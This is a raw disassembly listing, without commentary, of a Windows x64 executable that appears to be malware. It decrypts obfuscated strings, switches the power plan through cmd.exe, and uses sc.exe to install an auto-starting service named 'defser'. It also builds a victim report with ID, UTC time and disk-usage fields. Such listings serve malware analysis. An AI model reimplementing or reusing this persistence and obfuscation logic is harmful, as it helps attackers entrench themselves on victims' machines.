lea rcx, str.c:windows_system32cmd.exe
lea rdx, str._c_powercfg__setactive_8c5e7fda_e8bf_4a96_9a85_a6e23a8c635c
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], 0
movdqa xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], 0
movdqa xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], 0
movdqa xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], 0
movdqa xmmword [rsp + 0x9b0], xmm0
mov qword [rsp + 0x9c0], 0
movdqa xmmword [rsp + 0x990], xmm0
mov qword [rsp + 0x9a0], 0
movabs rax, 0xea736011b5613fdd
mov qword [rsp + 0xed0], rax
mov dword [rsp + 0xed8], 0xbbcb6a71
lea rcx, [rsp + 0x220]
lea rdx, [rsp + 0xed0]
mov r8d, 0xc
call fcn.140074b90
movups xmm0, xmmword [0x14025ae9e]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025ae8e]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0xed0]
mov r8d, 0x20
call fcn.140074b90
lea rdx, [0x14025aeae]
lea rsi, [rsp + 0xed0]
mov r8d, 0x1b9
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x9b0]
mov r8d, 0x1b9
mov rdx, rsi
call fcn.140074b90
movups xmm0, xmmword [0x14025b087]
movaps xmmword [rsp + 0xef0], xmm0
movups xmm0, xmmword [0x14025b077]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025b067]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x990]
lea rdx, [rsp + 0xed0]
mov r8d, 0x30
call fcn.140074b90
lea rdx, [0x14025b097]
lea rsi, [rsp + 0xed0]
mov r8d, 0x7c5
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x90]
mov r8d, 0x7c5
mov rdx, rsi
call fcn.140074b90
movups xmm0, xmmword [0x14025b8a8]
movups xmmword [rsp + 0xf1c], xmm0
movups xmm0, xmmword [0x14025b89c]
movaps xmmword [rsp + 0xf10], xmm0
movups xmm0, xmmword [0x14025b88c]
movaps xmmword [rsp + 0xf00], xmm0
movups xmm0, xmmword [0x14025b87c]
movaps xmmword [rsp + 0xef0], xmm0
movups xmm0, xmmword [0x14025b86c]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [str.EE_2A_8E_05_51_87_7E_9C_87_V6_0C_CT_C9_V5_82_7A_F7_E7_4V_5V_71_91_FY_84_C7_50_0Y_TA_F6_VV_46DeFaUlTID]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x190]
lea rsi, [rsp + 0xed0]
mov r8d, 0x5c
mov rdx, rsi
call fcn.140074b90
mov word [0x1402da4c0], 0x13c
lea rcx, [rsp + 0xc70]
lea rdx, [rsp + 0x1c0]
call fcn.1400747e0
lea rcx, [rsp + 0xc58]
lea rdx, [rsp + 0x220]
call fcn.1400747e0
lea r9, [0x1402da4c8]
lea rcx, [rsp + 0xc70]
lea rdx, [rsp + 0xc58]
lea r8, [rsp + 0x9b0]
call fcn.140017930
test byte [rsp + 0xc58], 1
je 0x14000b2b9
mov rcx, qword [rsp + 0xc68]
call fcn.140073240
test byte [rsp + 0xc70], 1
je 0x14000b2d0
mov rcx, qword [rsp + 0xc80]
call fcn.140073240
lea rcx, [rsp + 0xc40]
lea rdx, [rsp + 0x1c0]
call fcn.1400747e0
lea rcx, [rsp + 0xc28]
lea rdx, [rsp + 0x220]
call fcn.1400747e0
lea r9, [0x1402da410]
lea rcx, [rsp + 0xc40]
lea rdx, [rsp + 0xc28]
lea r8, [rsp + 0x990]
call fcn.140017930
test byte [rsp + 0xc28], 1
je 0x14000b335
mov rcx, qword [rsp + 0xc38]
call fcn.140073240
test byte [rsp + 0xc40], 1
je 0x14000b34c
mov rcx, qword [rsp + 0xc50]
call fcn.140073240
lea rcx, [rsp + 0xc10]
lea rdx, [rsp + 0x1c0]
call fcn.1400747e0
lea rcx, [rsp + 0xbf8]
lea rdx, [rsp + 0x220]
call fcn.1400747e0
lea r9, [0x1402da498]
lea rcx, [rsp + 0xc10]
lea rdx, [rsp + 0xbf8]
lea r8, [rsp + 0x90]
call fcn.140017930
test byte [rsp + 0xbf8], 1
je 0x14000b3b1
mov rcx, qword [rsp + 0xc08]
call fcn.140073240
test byte [rsp + 0xc10], 1
je 0x14000b3c8
mov rcx, qword [rsp + 0xc20]
call fcn.140073240
mov qword [rsp + 0x20], rsi
lea rdx, [0x1402da2f8]
lea rcx, [rsp + 0x8f8]
mov r9d, 8
xor r8d, r8d
call fcn.140074ff0
lea rsi, [0x1402da498]
lea rdx, [0x14025b8b8]
mov rcx, rsi
xor r8d, r8d
call fcn.140013c50
lea r9, [rsp + 0x8f8]
mov r8d, 9
mov rcx, rsi
mov rdx, rax
call fcn.140017a40
movzx r8d, byte [rsp + 0x8f8]
test r8b, 1
je 0x14000b813
mov rdx, qword [rsp + 0x908]
mov r8, qword [rsp + 0x900]
jmp 0x14000b81e
lea rsi, [rsp + 0xed2]
lea rdx, str.create
lea rcx, [rsp + 0x90]
call fcn.140012a70
lea rdx, str.defser
lea rcx, [rsp + 0x90]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x70], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._binpath__
lea rcx, [rsp + 0x70]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x2e0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x2d0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea r8, [0x1402d73d0]
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x2d0]
call fcn.140013940
lea rdx, str.__start_auto
lea rcx, [rsp + 0x110]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x250], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x240], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x240], 1
je 0x14000b53d
mov rdx, qword [rsp + 0x250]
jmp 0x14000b545
lea rdx, [rsp + 0x242]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x240], 1
jne 0x14000b65a
test byte [rsp + 0x110], 1
jne 0x14000b675
test byte [rsp + 0x2d0], 1
jne 0x14000b690
test byte [rsp + 0x70], 1
jne 0x14000b6a8
test byte [rsp + 0x90], 1
jne 0x14000b6c3
test byte [rsp + 0xed0], 1
jne 0x14000b6de
test byte [rsp + 0x530], 1
je 0x14000b5c9
mov rcx, qword [rsp + 0x540]
call fcn.140073240
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x530]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000b6fe
mov rsi, qword [rsp + 0xee0]
jmp 0x14000b706
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14000b57d
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x2d0], 1
je 0x14000b58b
mov rcx, qword [rsp + 0x2e0]
call fcn.140073240
test byte [rsp + 0x70], 1
je 0x14000b596
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x14000b5a4
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x14000b5b2
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
jne 0x14000b5bc
jmp 0x14000b5c9
lea rsi, [rsp + 0xed2]
lea rdx, str.start
lea rcx, [rsp + 0x110]
call fcn.140012a70
lea rdx, str.defser
lea rcx, [rsp + 0x110]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x250], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x240], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x240], 1
je 0x14000b76b
mov rdx, qword [rsp + 0x250]
jmp 0x14000b773
lea rdx, [rsp + 0x242]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x240], 1
jne 0x14000b7cc
test byte [rsp + 0x110], 1
jne 0x14000b7e3
test byte [rsp + 0xed0], 1
jne 0x14000b7fa
test byte [rsp + 0x530], 1
je 0x14000b7c4
mov rcx, qword [rsp + 0x540]
call fcn.140073240
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14000b7a3
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x14000b7ad
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
jne 0x14000b7b7
jmp 0x14000b7c4
shr r8, 1
lea rdx, [rsp + 0x8f9]
add r8, rdx
lea rcx, [rsp + 0xe68]
call fcn.140013610
lea rdx, str..id_
lea rcx, [rsp + 0xed0]
lea r8, [rsp + 0xe68]
call fcn.140013830
lea rdx, [0x14025b8cc]
lea rcx, [rsp + 0xed0]
call fcn.140076360
movzx esi, byte [rax]
movzx edi, byte [rax + 1]
movzx ebp, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x538], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x530], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x1402d7258], 1
je 0x14000b8a8
mov rcx, qword [0x1402d7268]
call fcn.140073240
mov byte [0x1402d7258], sil
mov byte [0x1402d7259], dil
mov word [0x1402d725a], bp
mov rax, qword [rsp + 0x530]
mov qword [0x1402d725c], rax
mov eax, dword [rsp + 0x538]
mov dword [0x1402d7264], eax
mov qword [0x1402d7268], r14
test byte [rsp + 0xed0], 1
je 0x14000b8f7
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
lea rdx, [0x14025b8d0]
lea rcx, [rsp + 0xed0]
lea r8, [rsp + 0xe68]
call fcn.140013830
lea rdx, [0x14025b8cc]
lea rcx, [rsp + 0xed0]
call fcn.140076360
movzx esi, byte [rax]
movzx edi, byte [rax + 1]
movzx ebp, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x538], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x530], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x1402d7240], 1
je 0x14000b971
mov rcx, qword [0x1402d7250]
call fcn.140073240
mov byte [0x1402d7240], sil
mov byte [0x1402d7241], dil
mov word [0x1402d7242], bp
mov rax, qword [rsp + 0x530]
mov qword [0x1402d7244], rax
mov eax, dword [rsp + 0x538]
mov dword [0x1402d724c], eax
mov qword [0x1402d7250], r14
test byte [rsp + 0xed0], 1
je 0x14000b9c0
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x840], xmm6
mov qword [rsp + 0x850], 0
movdqa xmmword [rsp + 0x970], xmm6
mov qword [rsp + 0x980], 0
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0x190]
mov r8d, 0x18
call fcn.140017a70
movdqa xmmword [rsp + 0x3f0], xmm6
mov qword [rsp + 0x400], 0
lea r13, [rsp + 0x3f1]
lea rbp, [rsp + 0x3f2]
lea rdi, [rsp + 0x3f0]
lea r14, [0x14025b8d8]
lea r15, [rsp + 0xed0]
lea rsi, [rsp + 0x970]
lea rcx, [rsp + 0x530]
mov rdx, rdi
mov r8b, 0x2c
call fcn.140017b80
mov rcx, qword [rax]
mov rcx, qword [rcx - 0x18]
test byte [rax + rcx + 0x20], 5
jne 0x14000bb6f
movzx ecx, byte [rsp + 0x3f0]
and cl, 1
mov rax, qword [rsp + 0x400]
mov r8, rax
cmove r8, r13
cmp byte [r8], 0x59
jne 0x14000baa9
mov byte [r8], 0x44
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
test cl, cl
mov rdx, rax
cmove rdx, r13
cmp byte [rdx], 0x54
jne 0x14000bacd
mov byte [rdx], 0x42
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
test cl, cl
mov rdx, rax
cmove rdx, r13
cmp byte [rdx], 0x56
jne 0x14000baf1
mov byte [rdx], 0x33
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
lea rdx, [rax + 1]
test cl, cl
cmove rdx, rbp
cmp byte [rdx], 0x59
jne 0x14000bb0b
mov byte [rdx], 0x44
mov rax, qword [rsp + 0x400]
lea rdx, [rax + 1]
test cl, cl
cmove rdx, rbp
cmp byte [rdx], 0x54
jne 0x14000bb25
mov byte [rdx], 0x42
mov rax, qword [rsp + 0x400]
inc rax
test cl, cl
cmove rax, rbp
cmp byte [rax], 0x56
jne 0x14000bb36
mov byte [rax], 0x33
mov rcx, r15
mov rdx, r14
call fcn.140012b20
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.140017ce0
test byte [rsp + 0xed0], 1
je 0x14000ba4d
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x14000ba4d
lea rcx, [rsp + 0xbe0]
lea rdx, [rsp + 0x1c0]
call fcn.1400747e0
lea rcx, [rsp + 0xbc8]
lea rdx, [rsp + 0x220]
call fcn.1400747e0
lea rcx, [rsp + 0xbe0]
lea rdx, [rsp + 0xbc8]
lea r8, [rsp + 0x970]
lea r9, [rsp + 0x840]
call fcn.140017930
test byte [rsp + 0xbc8], 1
je 0x14000bbd5
mov rcx, qword [rsp + 0xbd8]
call fcn.140073240
test byte [rsp + 0xbe0], 1
je 0x14000bbec
mov rcx, qword [rsp + 0xbf0]
call fcn.140073240
movzx r8d, byte [rsp + 0x840]
test r8b, 1
je 0x14000bc0d
mov rdx, qword [rsp + 0x850]
mov r8, qword [rsp + 0x848]
jmp 0x14000bc18
shr r8, 1
lea rdx, [rsp + 0x841]
add r8, rdx
lea rcx, [0x1402db800]
call fcn.140014a90
call fcn.140053c30
lea rdx, [0x140056660]
lea rcx, [rsp + 0xbc0]
call fcn.140017e40
mov dword [rsp + 0x7a8], 0
mov dword [rsp + 0x798], 0
mov qword [rsp + 0x8f0], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x820], xmm0
mov qword [rsp + 0x830], 0
movdqa xmmword [rsp + 0x800], xmm0
mov qword [rsp + 0x810], 0
movdqa xmmword [rsp + 0x450], xmm0
mov qword [rsp + 0x460], 0
movdqa xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3e0], 0
mov byte [rsp + 0xce], 0
movdqa xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], 0
movdqa xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
movdqa xmmword [rsp + 0x7b0], xmm0
mov qword [rsp + 0x7c0], 0
movdqa xmmword [rsp + 0x510], xmm0
mov qword [rsp + 0x520], 0
movabs rax, 0x6e795971f4d95748
mov qword [rsp + 0xed0], rax
mov dword [rsp + 0xed8], 0x9e873132
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0xed0]
mov r8d, 0xc
call fcn.140074b90
movups xmm0, xmmword [0x14025b8ea]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025b8da]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0xed0]
mov r8d, 0x20
call fcn.140074b90
lea rdx, [0x14025b8fa]
lea rsi, [rsp + 0xed0]
mov r8d, 0x228
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x7b0]
mov r8d, 0x228
mov rdx, rsi
call fcn.140074b90
movups xmm0, xmmword [0x14025bb42]
movaps xmmword [rsp + 0xef0], xmm0
movups xmm0, xmmword [0x14025bb32]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025bb22]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x510]
lea rdx, [rsp + 0xed0]
mov r8d, 0x30
call fcn.140074b90
mov word [0x1402da4c2], 0x12d
lea rcx, [rsp + 0xba8]
lea rdx, [rsp + 0x240]
call fcn.1400747e0
lea rcx, [rsp + 0xb90]
lea rdx, [rsp + 0x110]
call fcn.1400747e0
lea r9, [0x1402da4e0]
lea rcx, [rsp + 0xba8]
lea rdx, [rsp + 0xb90]
lea rsi, [rsp + 0x7b0]
mov r8, rsi
call fcn.140017930
test byte [rsp + 0xb90], 1
je 0x14000be77
mov rcx, qword [rsp + 0xba0]
call fcn.140073240
test byte [rsp + 0xba8], 1
je 0x14000be8e
mov rcx, qword [rsp + 0xbb8]
call fcn.140073240
lea rcx, [rsp + 0xb78]
lea rdx, [rsp + 0x240]
call fcn.1400747e0
lea rcx, [rsp + 0xb60]
lea rdx, [rsp + 0x110]
call fcn.1400747e0
lea r9, [0x1402da428]
lea rcx, [rsp + 0xb78]
lea rdx, [rsp + 0xb60]
lea r8, [rsp + 0x510]
call fcn.140017930
test byte [rsp + 0xb60], 1
jne 0x14000bfa5
test byte [rsp + 0xb78], 1
jne 0x14000bfc0
test byte [rsp + 0x510], 1
jne 0x14000bfdb
test byte [rsp + 0x7b0], 1
jne 0x14000bff6
test byte [rsp + 0x110], 1
jne 0x14000c011
test byte [rsp + 0x240], 1
je 0x14000bf39
mov rcx, qword [rsp + 0x250]
call fcn.140073240
mov byte [rsp + 0x168], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x7b0], xmm0
mov qword [rsp + 0x7c0], 0
movdqa xmmword [rsp + 0x510], xmm0
mov qword [rsp + 0x520], 0
lea rdx, [0x1402d73b8]
lea r8, [0x14025bb52]
lea rcx, [rsp + 0xed0]
call fcn.1400139a0
test byte [rsp + 0xed0], 1
je 0x14000c031
mov rcx, qword [rsp + 0xee0]
jmp 0x14000c039
mov rcx, qword [rsp + 0xb70]
call fcn.140073240
test byte [rsp + 0xb78], 1
je 0x14000bef8
mov rcx, qword [rsp + 0xb88]
call fcn.140073240
test byte [rsp + 0x510], 1
je 0x14000bf06
mov rcx, qword [rsp + 0x520]
call fcn.140073240
test byte [rsp + 0x7b0], 1
je 0x14000bf14
mov rcx, qword [rsp + 0x7c0]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14000bf22
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x240], 1
jne 0x14000bf2c
jmp 0x14000bf39
lea rcx, [rsp + 0xed2]
lea r14, [rsp + 0x510]
mov rdx, r14
call fcn.140017ef0
test byte [rsp + 0xed0], 1
je 0x14000c060
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
lea rax, [rsp + 0xcf]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], r14
lea rax, [rsp + 0x3ac]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x258], rsi
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x3ec]
mov qword [rsp + 0x268], rax
lea rax, [rsp + 0xce]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x278], rax
lea r15, [rsp + 0x7a8]
mov qword [rsp + 0x280], r15
lea rax, [rsp + 0x820]
mov qword [rsp + 0x288], rax
lea r14, [rsp + 0x798]
mov qword [rsp + 0x290], r14
lea r13, [rsp + 0x16f]
mov qword [rsp + 0x298], r13
lea rax, [rsp + 0x168]
mov qword [rsp + 0x2a0], rax
lea rbp, [rsp + 0x328]
mov qword [rsp + 0x2a8], rbp
mov byte [rsp + 0x1ff], 0
lea rdi, [rsp + 0x450]
mov qword [rsp + 0xeb8], rdi
lea rax, [rsp + 0x240]
mov qword [rsp + 0xec0], rax
lea rsi, [rsp + 0x1ff]
mov qword [rsp + 0xec8], rsi
cmp byte [rsp + 0x6c], 0
je 0x14000c1dd
lea rcx, [rsp + 0xed0]
lea rdx, [rsp + 0xeb8]
call fcn.140017fc0
mov rax, qword [rsp + 0x458]
cmp rax, qword [rsp + 0x460]
jae 0x14000c1bb
mov rcx, qword [rsp + 0xed0]
mov qword [rax], rcx
mov qword [rsp + 0xed0], 0
add rax, 8
mov qword [rsp + 0x458], rax
jmp 0x14000c1d0
lea rcx, [rsp + 0x450]
lea rdx, [rsp + 0xed0]
call fcn.140036680
lea rcx, [rsp + 0xed0]
call fcn.140077da0
call fcn.140018080
mov al, 1
xchg byte [rsp + 0x168], al
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x4f0], xmm0
mov qword [rsp + 0x500], 0
movdqa xmmword [rsp + 0x7e0], xmm0
mov qword [rsp + 0x7f0], 0
mov dword [rsp + 0xc8], 0xffffffff
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], rdi
lea rax, [rsp + 0xce]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r15
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x150], r13
mov qword [rsp + 0x158], rbp
lea rcx, [rsp + 0x7d0]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
movzx edx, word [0x1402da4c0]
lea rcx, [rsp + 0x768]
call fcn.140076780
lea r8, str.EID:
lea rcx, [rsp + 0x768]
xor edx, edx
call fcn.140075130
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x480], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x470], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._ID:
lea rcx, [rsp + 0x470]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x300], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x2f0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea r8, [0x1402da2f8]
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0x2f0]
call fcn.140018b40
lea rdx, str._r_nclinet_utc_time::
lea rcx, [rsp + 0x2b0]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x210], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x200], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7d0]
lea rcx, [rsp + 0x928]
call fcn.140076780
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x200]
lea r8, [rsp + 0x928]
call fcn.140018ae0
lea rdx, [0x14025bb8d]
lea rcx, [rsp + 0xf0]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x180], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x170], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7d2]
lea rcx, [rsp + 0x910]
call fcn.140076780
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x170]
lea r8, [rsp + 0x910]
call fcn.140018ae0
lea rdx, [0x14025bb8d]
lea rcx, [rsp + 0xd0]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x4a0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x490], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7d6]
lea rcx, [rsp + 0x8d8]
call fcn.140076780
lea rcx, [rsp + 0x410]
lea rdx, [rsp + 0x490]
lea r8, [rsp + 0x8d8]
call fcn.140018ae0
lea rdx, [0x14025bb8f]
lea rcx, [rsp + 0x410]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x4e0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x4d0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7d8]
lea rcx, [rsp + 0x8c0]
call fcn.140076780
lea rcx, [rsp + 0x780]
lea rdx, [rsp + 0x4d0]
lea r8, [rsp + 0x8c0]
call fcn.140018ae0
lea rdx, str.:__
lea rcx, [rsp + 0x780]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x3c0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x3b0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7da]
lea rcx, [rsp + 0x958]
call fcn.140076780
lea rcx, [rsp + 0x1d8]
lea rdx, [rsp + 0x3b0]
lea r8, [rsp + 0x958]
call fcn.140018ae0
lea rdx, str.:__
lea rcx, [rsp + 0x1d8]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xc0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx edx, word [rsp + 0x7dc]
lea rcx, [rsp + 0x940]
call fcn.140076780
lea rcx, [rsp + 0xed0]
lea rdx, [rsp + 0xb0]
lea r8, [rsp + 0x940]
call fcn.140018ae0
lea rdx, str.__r_nHard_Disk_Used_Sizes::
lea rcx, [rsp + 0xed0]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x440], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x430], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
jne 0x14000c795
test byte [rsp + 0x940], 1
jne 0x14000c7b0
test byte [rsp + 0xb0], 1
jne 0x14000c7cb
test byte [rsp + 0x1d8], 1
jne 0x14000c7e6
test byte [rsp + 0x958], 1
jne 0x14000c801
test byte [rsp + 0x3b0], 1
jne 0x14000c81c
test byte [rsp + 0x780], 1
jne 0x14000c837
test byte [rsp + 0x8c0], 1
jne 0x14000c852
test byte [rsp + 0x4d0], 1
jne 0x14000c86d
test byte [rsp + 0x410], 1
jne 0x14000c888
test byte [rsp + 0x8d8], 1
jne 0x14000c8a3
test byte [rsp + 0x490], 1
jne 0x14000c8be
test byte [rsp + 0xd0], 1
jne 0x14000c8d9
test byte [rsp + 0x910], 1
jne 0x14000c8f4
test byte [rsp + 0x170], 1
jne 0x14000c90f
test byte [rsp + 0xf0], 1
jne 0x14000c92a
test byte [rsp + 0x928], 1
jne 0x14000c945
test byte [rsp + 0x200], 1
jne 0x14000c960
test byte [rsp + 0x2b0], 1
jne 0x14000c97b
test byte [rsp + 0x2f0], 1
jne 0x14000c996
test byte [rsp + 0x470], 1
jne 0x14000c9b1
test byte [rsp + 0x768], 1
jne 0x14000c9cc
test r12b, 1
je 0x14000c9e3
mov ecx, dword [0x1402d7218]
test ecx, ecx
je 0x14000ce80
mov rdi, qword [rsp + 0x1a8]
lea rax, [rsp + 0x1b0]
cmp rdi, rax
jne 0x14000cbb1
xor eax, eax
mov qword [rsp + 0x1f0], rax
jmp 0x14000cd13
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x940], 1
je 0x14000c63d
mov rcx, qword [rsp + 0x950]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000c64b
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
test byte [rsp + 0x1d8], 1
je 0x14000c659
mov rcx, qword [rsp + 0x1e8]
call fcn.140073240
test byte [rsp + 0x958], 1
je 0x14000c667
mov rcx, qword [rsp + 0x968]
call fcn.140073240
test byte [rsp + 0x3b0], 1
je 0x14000c675
mov rcx, qword [rsp + 0x3c0]
call fcn.140073240
test byte [rsp + 0x780], 1
je 0x14000c683
mov rcx, qword [rsp + 0x790]
call fcn.140073240
test byte [rsp + 0x8c0], 1
je 0x14000c691
mov rcx, qword [rsp + 0x8d0]
call fcn.140073240
test byte [rsp + 0x4d0], 1
je 0x14000c69f
mov rcx, qword [rsp + 0x4e0]
call fcn.140073240
test byte [rsp + 0x410], 1
je 0x14000c6ad
mov rcx, qword [rsp + 0x420]
call fcn.140073240
